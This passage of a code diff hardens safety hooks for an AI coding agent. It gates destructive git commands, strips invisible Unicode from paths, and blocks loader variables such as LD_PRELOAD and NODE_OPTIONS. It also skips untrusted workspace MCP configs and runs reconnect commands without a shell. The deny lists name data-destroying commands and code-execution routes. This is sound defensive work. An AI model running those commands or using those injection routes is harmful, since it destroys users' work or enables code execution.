(bareForce || (plusRefspecForce && !withLease)) return true; + // A lease-checked force still rewrites a shared branch's history. + return withLease && pushTargetsSharedBranch(rest); } if (command === 'commit') { @@ -563,6 +771,53 @@ function isDestructiveGit(tokens) { }); } + if (command === 'branch') { + // `git branch -D` (long spelling: `--delete --force`) deletes a + // branch even when it is unmerged, orphaning its commits. Plain + // `-d` refuses when unmerged, so it is safe to leave ungated. + let del = false; + let force = false; + for (const t of rest) { + if (t === '--delete') { del = true; continue; } + if (t === '--force') { force = true; continue; } + if (!t.startsWith('-') || t.startsWith('--')) continue; + const body = t.slice(1); + if (body.includes('D')) return true; + if (body.includes('d')) del = true; + if (body.includes('f')) force = true; + } + return del && force; + } + + if (command === 'stash') { + // `drop` destroys one stash entry, `clear` the entire stash. + // `list`, `show`, `pop` and `apply` keep the entries recoverable. + return rest[0] === 'drop' || rest[0] === 'clear'; + } + + if (command === 'reflog') { + // `expire` and `delete` remove the recovery net that makes every + // other gated git command recoverable. + return rest[0] === 'expire' || rest[0] === 'delete'; + } + + if (command === 'update-ref') { + // `git update-ref -d ` deletes a ref directly. + return rest.includes('-d') || rest.includes('--delete'); + } + + if (command === 'restore') { + // `git restore ` overwrites the working tree from the index + // by default, the modern spelling of gated `git checkout -- `. + // Only `--staged` alone is non-destructive (it leaves the file on + // disk untouched); `--worktree` (the default target) is destructive. + const has = (long, short) => rest.some(t => + t === long || (t.startsWith('-') && !t.startsWith('--') && t.slice(1).includes(short))); + const staged = has('--staged', 'S'); + const worktree = has('--worktree', 'W'); + return worktree || !staged; + } + return false; } @@ -1007,16 +1262,62 @@ function isChecked(key) { // --- Sanitize file path against injection --- +// Unicode policy for sanitizePath, mirroring the repo-wide dangerous set in +// scripts/ci/check-unicode-safety.js. Named so the ranges stay auditable and +// drift against the CI policy is visible in one place. +const ASCII_CONTROL_MAX = 0x1f; +const ASCII_DELETE = 0x7f; +const C1_CONTROLS = [0x80, 0x9f]; // Unicode C1 control block (U+0080..U+009F) +const BIDI_MARKS = [0x200e, 0x200f]; // LRM/RLM +const BIDI_EMBEDDINGS = [0x202a, 0x202e]; // LRE..PDF +const BIDI_ISOLATES = [0x2066, 0x2069]; // LRI..PDI +const ZERO_WIDTHS = [0x200b, 0x200d]; // ZWSP..ZWJ +const WORD_JOINER = 0x2060; +const BYTE_ORDER_MARK = 0xfeff; +const VARIATION_SELECTORS = [0xfe00, 0xfe0f]; +const VARIATION_SUPPLEMENTS = [0xe0100, 0xe01ef]; // MONGOLIAN..TAGS (VS17..VS256) +const TAG_BLOCK = [0xe0000, 0xe007f]; // ASCII-smuggling tag characters +const MONGOLIAN_VOWEL_SEPARATOR = 0x180e; +const HANGUL_CHOSEONG_FILLER = 0x115f; +const HANGUL_JUNGSEONG_FILLER = 0x1160; +const HANGUL_FILLER = 0x3164; +const INVISIBLE_MATH_OPERATORS = [0x2061, 0x2064]; // FUNCTION APPLICATION..INVISIBLE PLUS +const LINE_SEPARATOR = 0x2028; +const PARAGRAPH_SEPARATOR = 0x2029; +const SANITIZED_PATH_MAX_LENGTH = 500; + +function inRange(code, [lo, hi]) { + return code >= lo && code <= hi; +} + function sanitizePath(filePath) { - // Strip control chars (including null), bidi overrides, and newlines + // Strip control chars (including null), bidi overrides, separators, + // and the dangerous invisible characters defined by the constants + // above (mirroring scripts/ci/check-unicode-safety.js), so a denial + // message cannot carry content a human reviewer cannot see. let sanitized = ''; for (const char of String(filePath || '')) { const code = char.codePointAt(0); - const isAsciiControl = code <= 0x1f || code === 0x7f; - const isBidiOverride = (code >= 0x200e && code <= 0x200f) || (code >= 0x202a && code <= 0x202e) || (code >= 0x2066 && code <= 0x2069); - sanitized += isAsciiControl || isBidiOverride ? ' ' : char; + const isAsciiControl = + code <= ASCII_CONTROL_MAX || code === ASCII_DELETE || inRange(code, C1_CONTROLS); + const isBidiOverride = + inRange(code, BIDI_MARKS) || inRange(code, BIDI_EMBEDDINGS) || inRange(code, BIDI_ISOLATES); + const isUnicodeSeparator = code === LINE_SEPARATOR || code === PARAGRAPH_SEPARATOR; + const isDangerousInvisible = + inRange(code, ZERO_WIDTHS) || + code === WORD_JOINER || + code === BYTE_ORDER_MARK || + inRange(code, VARIATION_SELECTORS) || + inRange(code, VARIATION_SUPPLEMENTS) || + inRange(code, TAG_BLOCK) || + code === MONGOLIAN_VOWEL_SEPARATOR || + code === HANGUL_CHOSEONG_FILLER || + code === HANGUL_JUNGSEONG_FILLER || + code === HANGUL_FILLER || + inRange(code, INVISIBLE_MATH_OPERATORS); + sanitized += isAsciiControl || isBidiOverride || isUnicodeSeparator || isDangerousInvisible ? ' ' : char; } - return sanitized.trim().slice(0, 500); + return sanitized.trim().slice(0, SANITIZED_PATH_MAX_LENGTH); } function normalizeForMatch(value) { @@ -1101,6 +1402,21 @@ function isReadOnlyGitIntrospection(command) { // --- Gate messages --- +/** + * Batch-consistency warning (#3136). A first-touch denial marks the file + * checked so the retry passes; a parallel batch of edits to one + * not-yet-touched file therefore partially applies (first call denied, + * siblings allowed). Hooks see calls one at a time and cannot lock a + * batch, so the denial must say this out loud: name the file and tell + * the agent that siblings may already have been applied. + */ +function batchSiblingWarning(safePath) { + return ( + `If this call was sent in a parallel batch, other edits to ${safePath} from that batch ` + + 'may already have been applied. Re-read the file before building on them.' + ); +} + function editGateMsg(filePath) { const safe = sanitizePath(filePath); return [ @@ -1113,6 +1429,8 @@ function editGateMsg(filePath) { '3. If this file reads/writes data files, show field names, structure, and date format (use redacted or synthetic values, not raw production data)', "4. Quote the user's current instruction verbatim", '', + batchSiblingWarning(safe), + '', 'Present the facts, then retry the same operation.' ].join('\n'); } @@ -1129,6 +1447,8 @@ function writeGateMsg(filePath) { '3. If this file reads/writes data files, show field names, structure, and date format (use redacted or synthetic values, not raw production data)', "4. Quote the user's current instruction verbatim", '', + batchSiblingWarning(safe), + '', 'Present the facts, then retry the same operation.' ].join('\n'); } @@ -1143,6 +1463,7 @@ function condensedGateMsg(action, filePath, ordinal) { return ( `[Fact-Forcing Gate] (denial #${ordinal} this session) First ${action} of ${safe}: ` + "briefly state importers/callers, affected API, data schemas if any, and the user's verbatim instruction, then retry. " + + `${batchSiblingWarning(safe)} ` + '(Use GATEGUARD_EXEMPT_GLOBS for path-scoped exemptions; ECC_GATEGUARD=off disables this gate.)' ); } diff --git a/scripts/hooks/gateguard-heredoc.js b/scripts/hooks/gateguard-heredoc.js index 31e41b29b..79e2df50f 100644 --- a/scripts/hooks/gateguard-heredoc.js +++ b/scripts/hooks/gateguard-heredoc.js @@ -3,16 +3,23 @@ const { extractCommandSubstitutions } = require('../lib/shell-substitution'); /** - * Recognize the deliberately narrow passive sink supported by this parser. - * Shell operators and substitutions make the payload's destination ambiguous, - * so every other form retains the original input for fail-closed checks. + * Recognize proven-passive sinks whose heredoc payload is data, not a command + * stream. `cat` and `tee` (optionally path-qualified, or wrapped in + * `command`/`builtin`/`env`) only write stdin; they do not execute the body. + * Shell operators or substitution markers make the destination ambiguous, so + * every other form retains the original input for fail-closed checks. * * @param {string} line * @returns {boolean} */ function isProvenPassiveHeredocLine(line) { const trimmed = line.trim(); - return /^cat(?=\s|[<>])/.test(trimmed) && !/[;&|()`]/.test(trimmed); + // Fail closed on control operators / grouping / command substitutions. + if (/[;&|()`]/.test(trimmed)) return false; + // Optional wrapper + optional path prefix + cat|tee, then args or redirect. + return /^(?:(?:command|builtin|env)\s+)?(?:(?:\.\/|\/(?:[\w.+-]+\/)*)?(?:cat|tee))(?=\s|[<>])/.test( + trimmed + ); } /** diff --git a/scripts/hooks/hook-input.js b/scripts/hooks/hook-input.js new file mode 100644 index 000000000..648c0e767 --- /dev/null +++ b/scripts/hooks/hook-input.js @@ -0,0 +1,69 @@ +'use strict'; + +const { StringDecoder } = require('string_decoder'); + +const DEFAULT_MAX_STDIN = 1024 * 1024; + +function resolveMaxStdin(value, options = {}) { + const writeDiagnostic = options.writeDiagnostic || (() => {}); + if (value === undefined || value === '') return DEFAULT_MAX_STDIN; + + const parsed = Number(value); + if (!Number.isSafeInteger(parsed) || parsed <= 0) { + writeDiagnostic( + '[Hook] ECC_HOOK_INPUT_MAX_BYTES must be a positive safe integer; using the 1 MiB default\n' + ); + return DEFAULT_MAX_STDIN; + } + if (parsed > DEFAULT_MAX_STDIN) { + writeDiagnostic( + '[Hook] ECC_HOOK_INPUT_MAX_BYTES exceeds the 1 MiB safety maximum; clamping to 1 MiB\n' + ); + return DEFAULT_MAX_STDIN; + } + return parsed; +} + +function readStdinRaw(stream = process.stdin, options = {}) { + const maxStdin = options.maxStdin || DEFAULT_MAX_STDIN; + const decoder = new StringDecoder('utf8'); + let raw = ''; + let acceptedBytes = 0; + let truncated = options.truncated === true; + + return new Promise(resolve => { + let settled = false; + stream.on('data', chunk => { + const buffer = Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk); + const remaining = Math.max(0, maxStdin - acceptedBytes); + const accepted = buffer.subarray(0, remaining); + if (accepted.length > 0) { + raw += decoder.write(accepted); + acceptedBytes += accepted.length; + } + if (accepted.length < buffer.length) truncated = true; + }); + const finish = () => { + if (settled) return; + settled = true; + if (!truncated) raw += decoder.end(); + resolve({ raw, truncated }); + }; + const finishIncomplete = () => { + if (settled) return; + truncated = true; + finish(); + }; + stream.once('end', finish); + // A transport error or premature close can leave a syntactically plausible + // prefix behind. Mark it incomplete so safety hooks remain fail closed. + stream.once('error', finishIncomplete); + stream.once('close', finishIncomplete); + }); +} + +module.exports = { + DEFAULT_MAX_STDIN, + readStdinRaw, + resolveMaxStdin +}; diff --git a/scripts/hooks/lifecycle-hook-bootstrap.js b/scripts/hooks/lifecycle-hook-bootstrap.js new file mode 100644 index 000000000..66280147f --- /dev/null +++ b/scripts/hooks/lifecycle-hook-bootstrap.js @@ -0,0 +1,120 @@ +#!/usr/bin/env node +'use strict'; + +const path = require('path'); +const fs = require('fs'); +const { spawnSync } = require('child_process'); +const { normalizePluginRootForPlatform } = require('../lib/resolve-ecc-root'); +const { readStdinRaw, resolveMaxStdin } = require('./hook-input'); + +const DEFAULT_TIMEOUT_MS = 30000; +const MAX_TIMEOUT_MS = 300000; + +function writeStderr(text) { + if (typeof text !== 'string' || text.length === 0) return; + process.stderr.write(text.endsWith('\n') ? text : `${text}\n`); +} + +function resolveTimeout(value) { + const parsed = Number(value); + if (!Number.isSafeInteger(parsed) || parsed <= 0) return DEFAULT_TIMEOUT_MS; + return Math.min(parsed, MAX_TIMEOUT_MS); +} + +function exitAfterFlush(stdout, stderr, exitCode) { + process.exitCode = exitCode; + let pendingWrites = 2; + const finish = () => { + pendingWrites -= 1; + if (pendingWrites === 0) process.exit(exitCode); + }; + + // Empty writes still queue callbacks behind any earlier diagnostics on the + // same stream, so both streams are drained before the explicit exit. + process.stdout.write(stdout || '', finish); + process.stderr.write(stderr || '', finish); +} + +async function main() { + const [, , hookId, relScriptPath, profilesCsv, timeoutValue] = process.argv; + const maxStdin = resolveMaxStdin(process.env.ECC_HOOK_INPUT_MAX_BYTES, { + writeDiagnostic: message => process.stderr.write(message) + }); + const { raw, truncated } = await readStdinRaw(process.stdin, { maxStdin }); + + if (!hookId || !relScriptPath) { + writeStderr('[Hook] lifecycle bootstrap missing hook ID or script path; skipping hook'); + process.exitCode = 0; + return; + } + + const pluginRoot = normalizePluginRootForPlatform( + process.env.CLAUDE_PLUGIN_ROOT || process.env.ECC_PLUGIN_ROOT + ); + if (!pluginRoot) { + writeStderr('[Hook] lifecycle bootstrap could not resolve ECC plugin root; skipping hook'); + process.exitCode = 0; + return; + } + const resolvedRoot = path.resolve(pluginRoot); + const runner = path.resolve(resolvedRoot, 'scripts', 'hooks', 'run-with-flags.js'); + if (!runner.startsWith(resolvedRoot + path.sep) || !fs.existsSync(runner)) { + writeStderr('[Hook] lifecycle bootstrap could not resolve ECC plugin root; skipping hook'); + process.exitCode = 0; + return; + } + + if (truncated) { + writeStderr(`[Hook] lifecycle stdin exceeded ${maxStdin} bytes; forwarded a bounded prefix`); + } + + const result = spawnSync( + process.execPath, + [runner, hookId, relScriptPath, profilesCsv || 'minimal,standard,strict'], + { + input: raw, + encoding: 'utf8', + env: { + ...process.env, + CLAUDE_PLUGIN_ROOT: resolvedRoot, + ECC_PLUGIN_ROOT: resolvedRoot, + ECC_HOOK_INPUT_MAX_BYTES: String(maxStdin), + ECC_HOOK_INPUT_TRUNCATED_UPSTREAM: truncated ? '1' : '0' + }, + cwd: process.cwd(), + timeout: resolveTimeout(timeoutValue), + maxBuffer: 16 * 1024 * 1024, + windowsHide: true + } + ); + + const failed = result.error || result.status === null || result.signal; + const stdout = !failed && typeof result.stdout === 'string' && result.stdout !== raw + ? result.stdout + : ''; + let stderr = typeof result.stderr === 'string' ? result.stderr : ''; + let exitCode = Number.isInteger(result.status) ? result.status : 0; + + if (failed) { + const reason = result.error + ? result.error.message + : result.signal + ? `signal ${result.signal}` + : 'missing exit status'; + stderr += `[Hook] lifecycle runner failed for ${hookId}: ${reason}\n`; + exitCode = 1; + } + + exitAfterFlush(stdout, stderr, exitCode); +} + +function cli() { + main().catch(error => { + writeStderr(`[Hook] lifecycle bootstrap failed: ${error.message}`); + process.exitCode = 0; + }); +} + +if (require.main === module) cli(); + +module.exports = { cli, exitAfterFlush, main, resolveTimeout }; diff --git a/scripts/hooks/mcp-health-check.js b/scripts/hooks/mcp-health-check.js index b78b5ac57..843a6ec04 100644 --- a/scripts/hooks/mcp-health-check.js +++ b/scripts/hooks/mcp-health-check.js @@ -182,6 +182,12 @@ function extractMcpTargetFromRaw(raw) { } function resolveServerConfig(serverName) { + // SECURITY: serverName flows into env-var lookup and shell-adjacent paths. + // Reject anything outside a strict token so config-controlled names cannot + // inject shell metachars ($(..), backticks, ;) downstream. + if (!/^[A-Za-z0-9_-]{1,64}$/.test(String(serverName || ''))) { + return null; + } for (const filePath of configPaths()) { const data = readJsonFile(filePath); const server = data?.mcpServers?.[serverName] @@ -306,9 +312,21 @@ function probeCommandServer(serverName, config) { const command = config.command; const args = Array.isArray(config.args) ? config.args.map(arg => String(arg)) : []; const timeoutMs = envNumber('ECC_MCP_HEALTH_TIMEOUT_MS', DEFAULT_TIMEOUT_MS); + // SECURITY: config.env comes from repo-committed MCP configs. Never let it + // override process-critical loader vars that turn into code execution + // (LD_PRELOAD, DYLD_*, NODE_OPTIONS, PATH tampering, etc.). + const BLOCKED_ENV_PREFIXES = ['LD_', 'DYLD_', 'NODE_OPTIONS', 'NODE_PATH', 'PATH', 'PYTHONPATH', 'RUBYLIB', 'PERL5LIB']; + const rawEnv = (config.env && typeof config.env === 'object' && !Array.isArray(config.env) ? config.env : {}); + const safeConfigEnv = {}; + for (const [k, v] of Object.entries(rawEnv)) { + if (BLOCKED_ENV_PREFIXES.some(p => String(k).toUpperCase().startsWith(p))) { + continue; + } + safeConfigEnv[k] = String(v); + } const mergedEnv = { ...process.env, - ...(config.env && typeof config.env === 'object' && !Array.isArray(config.env) ? config.env : {}) + ...safeConfigEnv }; let done = false; @@ -515,6 +533,38 @@ function probeCommandServer(serverName, config) { async function probeServer(serverName, resolvedConfig) { const config = resolvedConfig.config; + // SECURITY: cloning a malicious repo must not auto-execute its MCP servers. + // Workspace configs (cwd .claude.json / .claude/settings.json) are untrusted + // by default; only probe them with explicit operator opt-in. + // Home configs (~/.claude.json) and explicit ECC_MCP_CONFIG_PATH remain allowed. + try { + const src = String(resolvedConfig.source || ''); + const cwd = process.cwd(); + const home = require('os').homedir(); + const pathMod = require('path'); + // A config file in the user's home directory (~/.claude.json or + // ~/.claude/settings.json) is always trusted regardless of cwd. + const isHomeSource = src === pathMod.join(home, '.claude.json') + || src === pathMod.join(home, '.claude', 'settings.json') + || src.startsWith(pathMod.join(home, '.claude') + pathMod.sep); + if (!isHomeSource) { + const isWorkspaceSource = src === pathMod.join(cwd, '.claude.json') + || src === pathMod.join(cwd, '.claude', 'settings.json') + || src.startsWith(cwd + pathMod.sep + '.claude' + pathMod.sep); + if (isWorkspaceSource && !/^(1|true|yes)$/i.test(String(process.env.ECC_MCP_ALLOW_WORKSPACE_PROBE || ''))) { + return { + ok: false, + failureCode: null, + reason: 'untrusted workspace MCP config skipped (set ECC_MCP_ALLOW_WORKSPACE_PROBE=1 to probe)', + source: resolvedConfig.source + }; + } + } + } catch { + // Fail closed on path errors for workspace sources is handled below; + // continue to normal probing for non-workspace sources. + } + if (config.type === 'http' || config.url) { const result = await requestHttp(config.url, config.headers || {}, envNumber('ECC_MCP_HEALTH_TIMEOUT_MS', DEFAULT_TIMEOUT_MS)); @@ -546,6 +596,15 @@ async function probeServer(serverName, resolvedConfig) { } function reconnectCommand(serverName) { + // SECURITY: reconnect commands are shell strings from env. Disabled by + // default; require explicit opt-in so a malicious .env/direnv cannot gain + // shell execution through this hook. + if (!/^(1|true|yes)$/i.test(String(process.env.ECC_MCP_RECONNECT_ALLOW || ''))) { + return null; + } + if (!/^[A-Za-z0-9_-]{1,64}$/.test(String(serverName || ''))) { + return null; + } const key = `ECC_MCP_RECONNECT_${String(serverName).toUpperCase().replace(/[^A-Z0-9]/g, '_')}`; const command = process.env[key] || process.env.ECC_MCP_RECONNECT_COMMAND || ''; if (!command.trim()) { @@ -563,8 +622,60 @@ function attemptReconnect(serverName) { return { attempted: false, success: false, reason: 'no reconnect command configured' }; } - const result = spawnSync(command, { - shell: true, + // SECURITY: never run reconnect strings through a shell. Split on + // whitespace (no glob/expansion/substitution) and spawn directly. + // Supports single/double quotes for paths with spaces (e.g. node + // "/tmp/dir with space/reconnect.js"). No variable, command, tilde, or + // glob expansion is performed. {server} was already validated above. + function splitReconnectCommand(s) { + const parts = []; + let cur = ''; + let quote = null; + let inToken = false; + for (let i = 0; i < s.length; i++) { + const ch = s[i]; + if (quote) { + if (ch === quote) { + quote = null; + } else if (ch === '\\' && quote === '"' && i + 1 < s.length && (s[i + 1] === '"' || s[i + 1] === '\\')) { + cur += s[i + 1]; + i++; + } else { + cur += ch; + } + } else if (ch === '"' || ch === "'") { + quote = ch; + inToken = true; + } else if (/\s/.test(ch)) { + if (inToken) { + parts.push(cur); + cur = ''; + inToken = false; + } + } else { + cur += ch; + inToken = true; + } + } + if (quote) { + return null; // unbalanced quote + } + if (inToken) { + parts.push(cur); + } + return parts; + } + const parts = splitReconnectCommand(String(command).trim()); + if (!parts || parts.length === 0) { + return { attempted: false, success: false, reason: 'invalid reconnect command' }; + } + const [bin, ...argv] = parts; + if (/[&|<>^%!`$();]/.test(bin) || argv.some(a => /[`$]/.test(a))) { + return { attempted: false, success: false, reason: 'reconnect command contains unsafe characters' }; + } + + const result = spawnSync(bin, argv, { + shell: false, env: process.env, cwd: process.cwd(), encoding: 'utf8', diff --git a/scripts/hooks/plugin-hook-bootstrap.js b/scripts/hooks/plugin-hook-bootstrap.js index 8d573ffed..233e32980 100644 --- a/scripts/hooks/plugin-hook-bootstrap.js +++ b/scripts/hooks/plugin-hook-bootstrap.js @@ -1,21 +1,14 @@ #!/usr/bin/env node 'use strict'; -const fs = require('fs'); const path = require('path'); const { spawnSync } = require('child_process'); const { ensureAgentDataHomeEnv } = require('../lib/agent-data-home'); +const { normalizePluginRootForPlatform } = require('../lib/resolve-ecc-root'); +const { readStdinRaw: readBoundedStdin, resolveMaxStdin } = require('./hook-input'); const SHELL_PROBE_TIMEOUT_MS = 2000; -function readStdinRaw() { - try { - return fs.readFileSync(0, 'utf8'); - } catch (_error) { - return ''; - } -} - function writeStderr(stderr) { if ((typeof stderr === 'string' || Buffer.isBuffer(stderr)) && stderr.length > 0) { process.stderr.write(stderr); @@ -78,20 +71,6 @@ function passthrough(result) { } } -function normalizePluginRootForPlatform(rootDir, platform = process.platform) { - if (platform !== 'win32' || typeof rootDir !== 'string') { - return rootDir; - } - - const match = rootDir.match(/^\/([a-zA-Z])(?:\/(.*))?$/); - if (!match) { - return rootDir; - } - - const [, driveLetter, rest = ''] = match; - return `${driveLetter.toUpperCase()}:/${rest}`; -} - function resolveTarget(rootDir, relPath) { const resolvedRoot = path.resolve(rootDir); const resolvedTarget = path.resolve(rootDir, relPath); @@ -183,12 +162,14 @@ function findBashBinary() { return null; } -function spawnNode(rootDir, relPath, raw, args) { +function spawnNode(rootDir, relPath, raw, args, options = {}) { ensureAgentDataHomeEnv(); const hookEnv = { ...process.env, CLAUDE_PLUGIN_ROOT: rootDir, ECC_PLUGIN_ROOT: rootDir, + ECC_HOOK_INPUT_MAX_BYTES: String(options.maxStdin), + ECC_HOOK_INPUT_TRUNCATED_UPSTREAM: options.truncated ? '1' : '0', }; const result = spawnSync(process.execPath, [resolveTarget(rootDir, relPath), ...args], { input: raw, @@ -204,7 +185,7 @@ function spawnNode(rootDir, relPath, raw, args) { // (all hooks use 'node' mode). It is provided for third-party plugins that // register shell-backed hooks. Plugins should supply .ps1 scripts on Windows // and .sh scripts on Unix; mixing them will produce a skip with a stderr warning. -function spawnShell(rootDir, relPath, raw, args) { +function spawnShell(rootDir, relPath, raw, args, options = {}) { const shell = findShellBinary(); if (!shell) { return { @@ -219,6 +200,8 @@ function spawnShell(rootDir, relPath, raw, args) { ...process.env, CLAUDE_PLUGIN_ROOT: rootDir, ECC_PLUGIN_ROOT: rootDir, + ECC_HOOK_INPUT_MAX_BYTES: String(options.maxStdin), + ECC_HOOK_INPUT_TRUNCATED_UPSTREAM: options.truncated ? '1' : '0', }; const scriptPath = resolveTarget(rootDir, relPath); const isPs = isPowerShellBin(shell); @@ -260,9 +243,12 @@ function spawnShell(rootDir, relPath, raw, args) { return withComparisonInput(result, Buffer.from(raw, 'utf8')); } -function main() { +async function main() { const [, , mode, relPath, ...args] = process.argv; - const raw = readStdinRaw(); + const maxStdin = resolveMaxStdin(process.env.ECC_HOOK_INPUT_MAX_BYTES, { + writeDiagnostic: message => process.stderr.write(message) + }); + const { raw, truncated } = await readBoundedStdin(process.stdin, { maxStdin }); const rootDir = normalizePluginRootForPlatform( process.env.CLAUDE_PLUGIN_ROOT || process.env.ECC_PLUGIN_ROOT ); @@ -275,12 +261,16 @@ function main() { return; } + if (truncated) { + process.stderr.write(`[Hook] bootstrap: stdin exceeded ${maxStdin} bytes; forwarded a bounded prefix\n`); + } + let result; try { if (mode === 'node') { - result = spawnNode(rootDir, relPath, raw, args); + result = spawnNode(rootDir, relPath, raw, args, { maxStdin, truncated }); } else if (mode === 'shell') { - result = spawnShell(rootDir, relPath, raw, args); + result = spawnShell(rootDir, relPath, raw, args, { maxStdin, truncated }); } else { writeStderr(`[Hook] unknown bootstrap mode: ${mode}; emitting empty stdout\n`); process.exitCode = 0; @@ -317,7 +307,10 @@ function main() { // exports (tests), require.main is a real, different module, so main() stays // dormant. if (require.main === module || require.main === undefined) { - main(); + main().catch(error => { + writeStderr(`[Hook] bootstrap failed: ${error.message}\n`); + process.exitCode = 0; + }); } module.exports = { diff --git a/scripts/hooks/posttooluse-dispatcher.js b/scripts/hooks/posttooluse-dispatcher.js index fcffeb400..58fbec53e 100644 --- a/scripts/hooks/posttooluse-dispatcher.js +++ b/scripts/hooks/posttooluse-dispatcher.js @@ -7,8 +7,8 @@ 'use strict'; const path = require('path'); -const { StringDecoder } = require('string_decoder'); const { isHookEnabled } = require('../lib/hook-flags'); +const { readStdinRaw: readBoundedStdin, resolveMaxStdin } = require('./hook-input'); const { runPostBash } = require('./bash-hook-dispatcher'); const { run: runQualityGate } = require('./quality-gate'); const { run: runDesignQualityCheck } = require('./design-quality-check'); @@ -21,7 +21,12 @@ const { run: runMetricsBridge } = require('./ecc-metrics-bridge'); const { run: runContextMonitor } = require('./ecc-context-monitor'); const { run: runSkillRunTracker } = require('./skill-run-tracker'); -const MAX_STDIN = 1024 * 1024; +const MAX_STDIN = resolveMaxStdin(process.env.ECC_HOOK_INPUT_MAX_BYTES, { + writeDiagnostic: message => process.stderr.write(message) +}); +const UPSTREAM_TRUNCATED = /^(1|true|yes)$/i.test( + String(process.env.ECC_HOOK_INPUT_TRUNCATED_UPSTREAM || '') +); const SYNC_HOOKS = [ { id: 'post:edit:design-quality-check', matcher: 'Edit|Write|MultiEdit', profiles: 'standard,strict', script: 'scripts/hooks/design-quality-check.js', run: runDesignQualityCheck }, @@ -210,40 +215,17 @@ function runHooks(raw, hooks, options = {}) { } function readStdinRaw() { - return new Promise(resolve => { - const decoder = new StringDecoder('utf8'); - let raw = ''; - let bytesRead = 0; - let truncated = false; - let settled = false; - process.stdin.on('data', chunk => { - const buffer = Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk); - const remaining = Math.max(0, MAX_STDIN - bytesRead); - const accepted = buffer.subarray(0, remaining); - if (accepted.length > 0) { - raw += decoder.write(accepted); - bytesRead += accepted.length; - } - if (buffer.length > accepted.length) truncated = true; - }); - const finish = () => { - if (settled) return; - settled = true; - if (!truncated) raw += decoder.end(); - resolve({ raw, truncated }); - }; - process.stdin.once('end', finish); - process.stdin.once('error', finish); + return readBoundedStdin(process.stdin, { + maxStdin: MAX_STDIN, + truncated: UPSTREAM_TRUNCATED }); } -function resolveMainStdout(raw, result, options = {}) { - if (result.stdout) return result.stdout; - if (options.truncated || result.exitCode !== 0 || !options.passthrough) return ''; - return raw; +function resolveMainStdout(_raw, result, _options = {}) { + return result.stdout || ''; } -async function main() { +async function main(options = {}) { const mode = process.argv[2] === 'async' ? 'async' : 'sync'; const { raw, truncated } = await readStdinRaw(); const dispatcherId = `post:dispatcher:${mode}`; @@ -254,22 +236,20 @@ async function main() { }, process.env ); - const hooks = dispatcherEnabled ? (mode === 'async' ? ASYNC_HOOKS : SYNC_HOOKS) : []; + const configuredHooks = options.hookListOverride || (mode === 'async' ? ASYNC_HOOKS : SYNC_HOOKS); + const hooks = dispatcherEnabled ? configuredHooks : []; const result = runHooks(raw, hooks, { truncated }); if (truncated) { process.stderr.write(`[Hook] stdin exceeded ${MAX_STDIN} bytes for PostToolUse ${mode}; suppressing pass-through\n`); } if (result.stderr) process.stderr.write(result.stderr); - const stdout = resolveMainStdout(raw, result, { - passthrough: process.env.ECC_POSTTOOLUSE_PASSTHROUGH === '1', - truncated - }); + const stdout = resolveMainStdout(raw, result, { truncated }); if (stdout) process.stdout.write(stdout); process.exitCode = result.exitCode; } -function cli() { - main().catch(error => { +function cli(options = {}) { + main(options).catch(error => { process.stderr.write(`[Hook] PostToolUse dispatcher failed: ${error.message}\n`); process.exitCode = 0; }); diff --git a/scripts/hooks/pre-bash-commit-quality.js b/scripts/hooks/pre-bash-commit-quality.js index 5780c1d5b..6504a1b56 100644 --- a/scripts/hooks/pre-bash-commit-quality.js +++ b/scripts/hooks/pre-bash-commit-quality.js @@ -99,7 +99,7 @@ function findFileIssues(filePath) { const lineNum = index + 1; // Check for console.log - if (line.includes('console.log') && !line.trim().startsWith('//') && !line.trim().startsWith('*')) { + if (line.includes('console.log') && !line.trim().startsWith('//') && !line.trim().startsWith('*') && !line.trim().startsWith('#')) { issues.push({ type: 'console.log', message: `console.log found at line ${lineNum}`, @@ -109,7 +109,7 @@ function findFileIssues(filePath) { } // Check for debugger statements - if (/\bdebugger\b/.test(line) && !line.trim().startsWith('//')) { + if (/\bdebugger\b/.test(line) && !line.trim().startsWith('//') && !line.trim().startsWith('#')) { issues.push({ type: 'debugger', message: `debugger statement at line ${lineNum}`, @@ -119,7 +119,7 @@ function findFileIssues(filePath) { } // Check for TODO/FIXME without issue reference - const todoMatch = line.match(/\/\/\s*(TODO|FIXME):?\s*(.+)/); + const todoMatch = line.match(/(?:\/\/|#)\s*(TODO|FIXME):?\s*(\S.*)/); if (todoMatch && !todoMatch[2].match(/#\d+|issue/i)) { issues.push({ type: 'todo', @@ -259,20 +259,83 @@ function resolveCommand(command) { return null; } +const LINTER_TIMEOUT_MS = 30000; +const UNSAFE_CMD_TOKEN = /["\0\r\n]/; +const CMD_TOKEN_ENV_PREFIX = 'ECC_LINTER_TOKEN_'; + +function validateCmdToken(value) { + const token = String(value); + if (UNSAFE_CMD_TOKEN.test(token)) { + throw new Error(`Unsafe character in Windows linter argument: ${JSON.stringify(token)}`); + } + return token; +} + +function getLinterInvocation(command, args, platform = process.platform) { + const useCmd = platform === 'win32' && /\.(?:cmd|bat)$/i.test(command); + + if (useCmd) { + const environment = { ...process.env }; + for (const name of Object.keys(environment)) { + if (name.toUpperCase().startsWith(CMD_TOKEN_ENV_PREFIX)) { + delete environment[name]; + } + } + + // Keep untrusted values out of cmd.exe source. Percent expansion is + // non-recursive, so percent signs introduced by these environment values + // stay literal. Disabling delayed expansion likewise preserves exclamation + // marks. Quotes and line controls remain invalid because they could escape + // the quoted token boundary or create another command line. + const tokenReferences = [command, ...args].map((value, index) => { + const name = `${CMD_TOKEN_ENV_PREFIX}${index}`; + environment[name] = validateCmdToken(value); + return `"%${name}%"`; + }); + const commandLine = tokenReferences.join(' '); + return { + command: process.env.ComSpec || process.env.COMSPEC || 'cmd.exe', + args: ['/d', '/v:off', '/s', '/c', `"${commandLine}"`], + options: { + encoding: 'utf8', + stdio: ['pipe', 'pipe', 'pipe'], + timeout: LINTER_TIMEOUT_MS, + shell: false, + windowsVerbatimArguments: true, + env: environment + } + }; + } + + return { + command, + args, + options: { + encoding: 'utf8', + stdio: ['pipe', 'pipe', 'pipe'], + timeout: LINTER_TIMEOUT_MS, + shell: false + } + }; +} + function runLinterCommand(command, args) { - const useShell = process.platform === 'win32' && /\.(?:cmd|bat)$/i.test(command); - return spawnSync(command, args, { - encoding: 'utf8', - stdio: ['pipe', 'pipe', 'pipe'], - timeout: 30000, - shell: useShell - }); + try { + const invocation = getLinterInvocation(command, args); + return spawnSync(invocation.command, invocation.args, invocation.options); + } catch (error) { + return { status: null, stdout: '', stderr: '', error }; + } } function commandOutput(result) { return result.stdout || result.stderr || result.error?.message || 